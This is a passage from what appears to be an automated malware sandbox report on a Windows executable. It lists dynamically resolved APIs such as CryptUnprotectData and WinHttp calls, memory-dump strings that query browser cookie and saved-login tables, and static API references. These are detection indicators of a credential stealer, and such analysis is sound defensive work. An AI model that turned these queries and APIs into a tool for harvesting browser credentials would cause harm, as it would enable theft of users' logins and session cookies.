00000000-00006900) ".exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CreateFileMappingA (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter lstrlenW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetStringTypeW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetCPInfo (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter InitializeCriticalSectionAndSpinCount (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter InitializeSListHead (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter RtlCaptureContext (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter RtlLookupFunctionEntry (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter UnhandledExceptionFilter (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter SetUnhandledExceptionFilter (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetStartupInfoW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter IsProcessorFeaturePresent (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter RtlUnwindEx (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter InterlockedPushEntrySList (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter InterlockedFlushSList (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter RtlPcToFileHeader (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter TlsAlloc (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter TlsGetValue (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter TlsSetValue (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter TlsFree (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CreateThread (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter ExitThread (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter FreeLibraryAndExitThread (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetModuleHandleExW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CompareStringW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter LCMapStringW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetLocaleInfoW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter IsValidLocale (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetUserDefaultLCID (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter EnumSystemLocalesW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetFileSizeEx (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter SetFilePointerEx (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter ReadConsoleW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter FindFirstFileExW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter IsValidCodePage (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetOEMCP (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetCommandLineA (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetCommandLineW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetEnvironmentStringsW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter FreeEnvironmentStringsW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter SetStdHandle (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter FindResourceA (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter SizeofResource (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter RtlUnwind (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetDesktopWindow (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter SendMessageW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter RegCreateKeyW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WinHttpQueryAuthSchemes (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WinHttpConnect (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WinHttpQueryDataAvailable (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WinHttpSetOption (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WinHttpOpenRequest (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WinHttpReadData (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WinHttpQueryHeaders (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WinHttpAddRequestHeaders (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WinHttpReceiveResponse (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter WinHttpSendRequest (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter CryptUnprotectData (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006900) ".exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006900)37:T106e,"SELECT creation_utc,host_key,name,value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,hex(encrypted_value) encrypted_value,samesite,source_scheme,source_port,is_same_party FROM cookies;" (Source: 00000000-00006900.00000001.70800.03400000.00000004.mdmp, 00000000-00006900.00000001.70800.05A3D000.00000004.mdmp, 00000000-00006900.00000001.70800.05DEF000.00000004.mdmp, 00000000-00006900.00000002.72721.03400000.00000004.mdmp, 00000000-00006900.00000002.72721.05D97000.00000004.mdmp, 00000000-00006900.00000002.72721.05E45000.00000004.mdmp, Indicator: "select creation_utc,host_key,name,value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,hex(encrypted_value) encrypted_value samesite source_scheme source_port is_same_party from cookies;"), "CREATE TABLE insecure_credentials (parent_id INTEGER REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, insecurity_type INTEGER NOT NULL, create_time INTEGER NOT NULL, is_muted INTEGER NOT NULL DEFAULT 0, UNIQUE (parent_id, insecurity_type))" (Source: 00000000-00006900.00000001.70800.03400000.00000004.mdmp, 00000000-00006900.00000002.72721.05A78000.00000004.mdmp, Indicator: "create table insecure_credentials (parent_id integer references logins on update cascade on delete cascade deferrable initially deferred, insecurity_type integer not null, create_time integer not null, is_muted integer not null default 0, unique (parent_id, insecurity_type))"), "CREATE TABLE sync_entities_metadata (storage_key INTEGER PRIMARY KEY AUTOINCREMENT, metadata VARCHAR NOT NULL)R" (Source: 00000000-00006900.00000001.70800.03400000.00000004.mdmp, 00000000-00006900.00000002.72721.05A78000.00000004.mdmp, Indicator: "create table sync_entities_metadata (storage_key integer primary key autoincrement, metadata varchar not null)r"), "CREATE TABLE sqlite_sequence(name,seq)" (Source: 00000000-00006900.00000001.70800.03400000.00000004.mdmp, 00000000-00006900.00000002.72721.05A78000.00000004.mdmp, Indicator: "create table sqlite_sequence(name,seq)"), "CREATE TABLE logins (origin_url VARCHAR NOT NULL, action_url VARCHAR, username_element VARCHAR, username_value VARCHAR, password_element VARCHAR, password_value BLOB, submit_element VARCHAR, signon_realm VARCHAR NOT NULL, date_created INTEGER NOT NULL, blacklisted_by_user INTEGER NOT NULL, scheme INTEGER NOT NULL, password_type INTEGER, times_used INTEGER, form_data BLOB, display_name VARCHAR, icon_url VARCHAR, federation_url VARCHAR, skip_zero_click INTEGER, generation_upload_status INTEGER, possible_username_pairs BLOB, id INTEGER PRIMARY KEY AUTOINCREMENT, date_last_used INTEGER NOT NULL DEFAULT 0, moving_blocked_for BLOB, date_password_modified INTEGER NOT NULL DEFAULT 0, UNIQUE (origin_url, username_element, username_value, password_element, signon_realm))+" (Source: 00000000-00006900.00000001.70800.03400000.00000004.mdmp, 00000000-00006900.00000002.72721.05A78000.00000004.mdmp, Indicator: "create table logins (origin_url varchar not null, action_url varchar, username_element varchar, username_value varchar, password_element varchar, password_value blob, submit_element varchar, signon_realm varchar not null, date_created integer not null, blacklisted_by_user integer not null, scheme integer not null, password_type integer, times_used integer, form_data blob, display_name varchar, icon_url varchar, federation_url varchar, skip_zero_click integer, generation_upload_status integer, possible_username_pairs blob, id integer primary key autoincrement, date_last_used integer not null default 0, moving_blocked_for blob, date_password_modified integer not null default 0, unique (origin_url, username_element, username_value, password_element, signon_realm))+"), "CREATE TABLE meta(key LONGVARCHAR NOT NULL UNIQUE PRIMARY KEY, value LONGVARCHAR)'" (Source: 00000000-00006900.00000001.70800.03400000.00000004.mdmp, 00000000-00006900.00000001.70800.059CC000.00000004.mdmp, 00000000-00006900.00000002.72721.059CC000.00000004.mdmp, 00000000-00006900.00000002.72721.05A78000.00000004.mdmp, Indicator: "create table meta(key longvarchar not null unique primary key, value longvarchar)'")38:T163ec,Found reference to API (Indicator: "CoCreateInstance"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "WaitForMultipleObjectsEx"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "WaitForSingleObjectEx"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "SetEvent"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "ReleaseMutex"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RegDeleteKeyExW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RegDeleteKeyW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "EventWrite"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RegOpenKeyExW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RegCloseKey"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RegCreateKeyExW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RegSetValueExW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RegEnumKeyExW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RegQueryValueExW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "EventUnregister"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "EventRegister"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RegQueryInfoKeyW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "CheckTokenMembership"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "FreeSid"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "InitializeSecurityDescriptor"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "CreateWellKnownSid"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "SetEntriesInAclW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "SetSecurityDescriptorOwner"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "SetSecurityDescriptorGroup"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "SetSecurityDescriptorDacl"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RegGetValueW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RegEnumValueW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RegDeleteTreeW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "OpenProcessToken"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "LookupPrivilegeValueW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "PrivilegeCheck"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "InitializeCriticalSection"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "DeleteCriticalSection"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "MulDiv"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "EnterCriticalSection"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "LeaveCriticalSection"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetLastError"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "SetLastError"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "TerminateThread"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "CloseHandle"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetWindowsDirectoryW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "LocalFree"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "LocalAlloc"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "K32EnumProcesses"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "HeapFree"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetProcessHeap"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "OpenProcess"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "QueryFullProcessImageNameW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetExitCodeProcess"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "Sleep"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetModuleHandleW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "CreateEventW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "CreateMutexW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "CreateThread"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetLocaleInfoEx"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetVersionExW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "CreateFileW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "WriteFile"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetLocalTime"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "HeapSetInformation"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetCurrentThreadId"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "FreeLibrary"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "ExitProcess"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "FormatMessageW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "LoadLibraryW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RaiseException"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetCommandLineW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "WaitForSingleObject"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetModuleFileNameW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetProcAddress"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetCurrentProcessId"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetFileAttributesW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetFileAttributesExW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetTickCount64"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetNativeSystemInfo"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetLocaleInfoW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetProductInfo"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetCurrentDirectoryW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "SearchPathW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetSystemDirectoryW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetFileMUIPath"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "LocaleNameToLCID"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "EnumUILanguagesW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetUserPreferredUILanguages"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "SetProcessPreferredUILanguages"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "NotifyUILanguageChange"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetExitCodeThread"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "HeapAlloc"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetTempPathW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "CreateProcessW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "CreateDirectoryW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "FindFirstFileW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "DeleteFileW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "FindNextFileW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RemoveDirectoryW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "FindClose"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetSystemPreferredUILanguages"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetThreadPreferredUILanguages"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetCurrentProcess"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetUILanguageInfo"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "SelectObject"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "LoadStringW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetParent"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetSysColor"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "SetWindowRgn"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetClientRect"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "SetWindowPos"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetWindowRect"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "InvalidateRect"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "BeginPaint"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetSystemMetrics"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "LoadImageW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "DestroyIcon"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "CreateWindowExW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "MapWindowPoints"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "DestroyWindow"; File: 